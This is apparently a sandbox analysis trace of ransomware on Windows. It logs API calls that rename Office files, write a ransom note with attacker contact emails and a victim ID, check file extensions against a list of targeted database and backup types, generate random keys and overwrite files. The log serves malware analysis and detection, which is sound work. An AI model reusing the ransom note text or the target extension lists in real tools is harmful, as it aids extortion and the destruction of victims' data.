	[0081.094] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.094] CloseHandle (hObject=0x134) returned 1
	[0081.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39d898
	[0081.094] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.~~~~")) returned 1
	[0081.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d898 | out: hHeap=0x300000) returned 1
	[0081.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0081.095] GetLastError () returned 0x0
	[0081.095] RtlWakeConditionVariable () returned 0x365f70
	[0081.095] GetCurrentThreadId () returned 0x9f4
	[0081.095] GetCurrentThreadId () returned 0x9f4
	[0081.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39d898
	[0081.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa6b8 | out: hHeap=0x300000) returned 1
	[0081.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe088 | out: hHeap=0x300000) returned 1
	[0081.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a3ee8
	[0081.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0081.096] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.096] WriteFile (in: hFile=0x134, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.098] CloseHandle (hObject=0x134) returned 1
	[0081.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3ee8 | out: hHeap=0x300000) returned 1
	[0081.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d898 | out: hHeap=0x300000) returned 1
	[0081.098] RtlWakeConditionVariable () returned 0x365f70
	[0081.098] GetCurrentThreadId () returned 0x9f4
	[0081.098] GetCurrentThreadId () returned 0x9f4
	[0081.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff0d0
	[0081.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800120 | out: hHeap=0x300000) returned 1
	[0081.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fac48 | out: hHeap=0x300000) returned 1
	[0081.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800120
	[0081.098] lstrlenW (lpString=".scr") returned 4
	[0081.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".scr") returned 0x0
	[0081.098] lstrlenW (lpString=".cmd") returned 4
	[0081.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".cmd") returned 0x0
	[0081.098] lstrlenW (lpString=".dll") returned 4
	[0081.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".dll") returned 0x0
	[0081.099] lstrlenW (lpString=".bat") returned 4
	[0081.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".bat") returned 0x0
	[0081.099] lstrlenW (lpString=".cpl") returned 4
	[0081.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".cpl") returned 0x0
	[0081.099] lstrlenW (lpString=".sys") returned 4
	[0081.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".sys") returned 0x0
	[0081.099] lstrlenW (lpString=".msc") returned 4
	[0081.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".msc") returned 0x0
	[0081.099] lstrlenW (lpString=".com") returned 4
	[0081.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".com") returned 0x0
	[0081.099] lstrlenW (lpString=".lnk") returned 4
	[0081.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".lnk") returned 0x0
	[0081.099] lstrlenW (lpString=".msp") returned 4
	[0081.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".msp") returned 0x0
	[0081.099] lstrlenW (lpString=".pif") returned 4
	[0081.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".pif") returned 0x0
	[0081.099] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0081.100] lstrlenW (lpString=".sqb") returned 4
	[0081.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".sqb") returned 0x0
	[0081.100] lstrlenW (lpString=".ost") returned 4
	[0081.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".ost") returned 0x0
	[0081.100] lstrlenW (lpString=".txt") returned 4
	[0081.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".txt") returned 0x0
	[0081.100] lstrlenW (lpString=".mdt") returned 4
	[0081.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".mdt") returned 0x0
	[0081.100] lstrlenW (lpString=".BDB") returned 4
	[0081.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".BDB") returned 0x0
	[0081.100] lstrlenW (lpString=".eql") returned 4
	[0081.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".eql") returned 0x0
	[0081.100] lstrlenW (lpString=".DBF") returned 4
	[0081.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".DBF") returned 0x0
	[0081.100] lstrlenW (lpString=".EQL") returned 4
	[0081.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".EQL") returned 0x0
	[0081.101] lstrlenW (lpString=".FDB") returned 4
	[0081.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".FDB") returned 0x0
	[0081.101] lstrlenW (lpString=".EDB") returned 4
	[0081.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".EDB") returned 0x0
	[0081.101] lstrlenW (lpString=".DACPAC") returned 7
	[0081.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".DACPAC") returned 0x0
	[0081.101] lstrlenW (lpString=".VHD") returned 4
	[0081.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".VHD") returned 0x0
	[0081.101] lstrlenW (lpString=".DBV") returned 4
	[0081.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".DBV") returned 0x0
	[0081.101] lstrlenW (lpString=".dacpac") returned 7
	[0081.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".dacpac") returned 0x0
	[0081.101] lstrlenW (lpString=".sdf") returned 4
	[0081.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".sdf") returned 0x0
	[0081.101] lstrlenW (lpString=".accdb") returned 6
	[0081.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".accdb") returned 0x0
	[0081.101] lstrlenW (lpString=".DBX") returned 4
	[0081.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".DBX") returned 0x0
	[0081.101] lstrlenW (lpString=".MDT") returned 4
	[0081.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".MDT") returned 0x0
	[0081.101] lstrlenW (lpString=".SQB") returned 4
	[0081.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".SQB") returned 0x0
	[0081.102] lstrlenW (lpString=".vhd") returned 4
	[0081.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".vhd") returned 0x0
	[0081.102] lstrlenW (lpString=".bac") returned 4
	[0081.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".bac") returned 0x0
	[0081.102] lstrlenW (lpString=".mdf") returned 4
	[0081.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".mdf") returned 0x0
	[0081.102] lstrlenW (lpString=".BAK") returned 4
	[0081.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".BAK") returned 0x0
	[0081.102] lstrlenW (lpString=".BAC") returned 4
	[0081.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".BAC") returned 0x0
	[0081.102] lstrlenW (lpString=".dbs") returned 4
	[0081.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".dbs") returned 0x0
	[0081.102] lstrlenW (lpString=".vhdx") returned 5
	[0081.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".vhdx") returned 0x0
	[0081.102] lstrlenW (lpString=".NDF") returned 4
	[0081.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".NDF") returned 0x0
	[0081.102] lstrlenW (lpString=".dat") returned 4
	[0081.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".dat") returned 0x0
	[0081.102] lstrlenW (lpString=".DBS") returned 4
	[0081.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".DBS") returned 0x0
	[0081.102] lstrlenW (lpString=".CKP") returned 4
	[0081.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".CKP") returned 0x0
	[0081.103] lstrlenW (lpString=".edb") returned 4
	[0081.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".edb") returned 0x0
	[0081.103] lstrlenW (lpString=".PST") returned 4
	[0081.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".PST") returned 0x0
	[0081.103] lstrlenW (lpString=".dbf") returned 4
	[0081.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".dbf") returned 0x0
	[0081.103] lstrlenW (lpString=".SQL") returned 4
	[0081.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".SQL") returned 0x0
	[0081.103] lstrlenW (lpString=".pst") returned 4
	[0081.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".pst") returned 0x0
	[0081.103] lstrlenW (lpString=".dbv") returned 4
	[0081.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".dbv") returned 0x0
	[0081.103] lstrlenW (lpString=".SDF") returned 4
	[0081.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".SDF") returned 0x0
	[0081.103] lstrlenW (lpString=".dtxs") returned 5
	[0081.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".dtxs") returned 0x0
	[0081.103] lstrlenW (lpString=".db3") returned 4
	[0081.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".db3") returned 0x0
	[0081.103] lstrlenW (lpString=".OST") returned 4
	[0081.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".OST") returned 0x0
	[0081.103] lstrlenW (lpString=".dbx") returned 4
	[0081.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".dbx") returned 0x0
	[0081.104] lstrlenW (lpString=".DB3") returned 4
	[0081.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".DB3") returned 0x0
	[0081.104] lstrlenW (lpString=".DAT") returned 4
	[0081.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".DAT") returned 0x0
	[0081.104] lstrlenW (lpString=".VHDX") returned 5
	[0081.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".VHDX") returned 0x0
	[0081.104] lstrlenW (lpString=".ndf") returned 4
	[0081.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".ndf") returned 0x0
	[0081.104] lstrlenW (lpString=".DB") returned 3
	[0081.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".DB") returned 0x0
	[0081.104] lstrlenW (lpString=".sql") returned 4
	[0081.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".sql") returned 0x0
	[0081.104] lstrlenW (lpString=".MYD") returned 4
	[0081.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".MYD") returned 0x0
	[0081.104] lstrlenW (lpString=".DBT") returned 4
	[0081.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".DBT") returned 0x0
	[0081.104] lstrlenW (lpString=".ACCDB") returned 6
	[0081.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".ACCDB") returned 0x0
	[0081.104] lstrlenW (lpString=".fdb") returned 4
	[0081.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".fdb") returned 0x0
	[0081.104] lstrlenW (lpString=".bak") returned 4
	[0081.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".bak") returned 0x0
	[0081.104] lstrlenW (lpString=".myd") returned 4
	[0081.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".myd") returned 0x0
	[0081.104] lstrlenW (lpString=".DTXS") returned 5
	[0081.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".DTXS") returned 0x0
	[0081.105] lstrlenW (lpString=".ckp") returned 4
	[0081.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".ckp") returned 0x0
	[0081.105] lstrlenW (lpString=".dbt") returned 4
	[0081.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".dbt") returned 0x0
	[0081.105] lstrlenW (lpString=".db") returned 3
	[0081.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".db") returned 0x0
	[0081.105] lstrlenW (lpString=".TXT") returned 4
	[0081.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".TXT") returned 0x0
	[0081.105] lstrlenW (lpString=".MDF") returned 4
	[0081.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".MDF") returned 0x0
	[0081.105] lstrlenW (lpString=".bdb") returned 4
	[0081.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".bdb") returned 0x0
	[0081.105] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0081.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.105] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0081.106] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.106] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0081.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0081.107] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20109678212) returned 1
	[0081.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9a31a990, dwHighDateTime=0x1d60e1e)) 
	[0081.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0081.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0081.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0081.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fac48
	[0081.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fac48 | out: hHeap=0x300000) returned 1
	[0081.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.107] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0081.108] GetLastError () returned 0x0
	[0081.108] GetLastError () returned 0x0
	[0081.108] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0081.108] GetLastError () returned 0x0
	[0081.108] GetLastError () returned 0x0
	[0081.108] ReadFile (in: hFile=0x134, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x1915, lpOverlapped=0x0) returned 1
	[0081.185] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffe6eb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.202] WriteFile (in: hFile=0x134, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x1915, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x1915, lpOverlapped=0x0) returned 1
	[0081.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0081.207] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.207] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.207] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
